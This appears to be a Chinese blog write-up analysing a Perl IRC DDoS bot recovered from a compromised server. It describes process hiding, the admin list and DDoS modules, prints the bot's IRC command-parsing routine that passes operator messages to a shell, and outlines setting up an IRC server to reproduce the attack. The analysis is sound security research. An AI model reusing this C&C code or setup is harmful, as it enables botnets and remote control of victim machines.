DDoS Perl IrcBot v1.0完全分析报告

Author:berTrAM

最近得到一个在野的DDOS perl ircbot,虽然很多地方有记录,但是均没有完整分析,遂尝试分析功能以及复现攻击流程

ircbot:顾名思义,即通过irc服务器作为C&C来控制肉鸡

source code

source_code

部署

server

server2

此处如果没有$server传参就采用默认$server

config

@admins包含了可控的irc用户nick
@hostauth包含了可控的用户ip
@channel包含了改bot在进入irc服务器后自动加入的频道

功能分析

进程隐藏

hide1

hide2

随机获取一个进程名,并fork

main

main

conectar

  • 首先通过conectar连接irc服务器
  • 连接后持续监听在irc上,根据msg的值去控制是否进入parse
sub parse {
  my $servarg = shift;
  if ($servarg =~ /^PING \:(.*)/) {
    sendraw("PONG :$1");
    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {#:root!root@192.168.50.1 PRIVMSG #Perl :yep
        my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
        if ($args =~ /^\001VERSION\001$/) {
            notice("$pn", "".$vers."");
        }
        if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
            if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
                if ($onde eq "$meunick"){
                    shell("$pn", "$args");
                }
                if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) {
                  my $natrix = $1;
                  my $arg = $2;
                  if ($arg =~ /^\!(.*)/) {
                    ircase("$pn","$onde","$1");
                  } elsif ($arg =~ /^\@(.*)/) {
                  $ondep = $onde;
                  $ondep = $pn if $onde eq $meunick;
                  bfunc("$ondep","$1");
                  } else {
                      shell("$onde", "$arg");
                  }
              }
            }
        }
      }
      elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
              if (lc($1) eq lc($meunick)) {
                  $meunick=$4;
                  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
              }
            } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
                nick("$meunick-".int rand(9999));
            } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
                $meunick = $2;
                $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
                $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
                foreach my $canal (@channels) {
                    sendraw("MODE $nick +x");
                    sendraw("JOIN $canal");
                    sendraw("PRIVMSG $canal :4,1 [ Doss by Bab NhG ] linux exe ");
               }
            }
}

分析可以找到ircasebfunc两个方法

ircase是对于bot在irc中的操作

而bfunc就是今天的主角,是最重要的任务分发部分,其中主要包含了四部分功能:帮助信息/IRC频道操作/DDOS模块/渗透辅助

How To Use

首先搭建一个irc服务器,我使用的是ubuntu+inspircd的组合

apt-get install inspircd

yep

vim /etc/inspircd/inspircd.conf

简单配置一下

service inspircd restart

上线irc服务

...then modify the config in the source code...

RESULT

result

后记

该样本通过IRC协议完成与C&C服务器的连接并接受攻击指令,具有十足的攻击性。但是从受害者服务器上获取的样本,并没有留有管理员的irc服务器(可能存在于原始进程,但是据说被管理人员kill了),以及config中没有配置完全,因此推断在此次的服务器入侵中并没有发挥完全作用

此处评论已关闭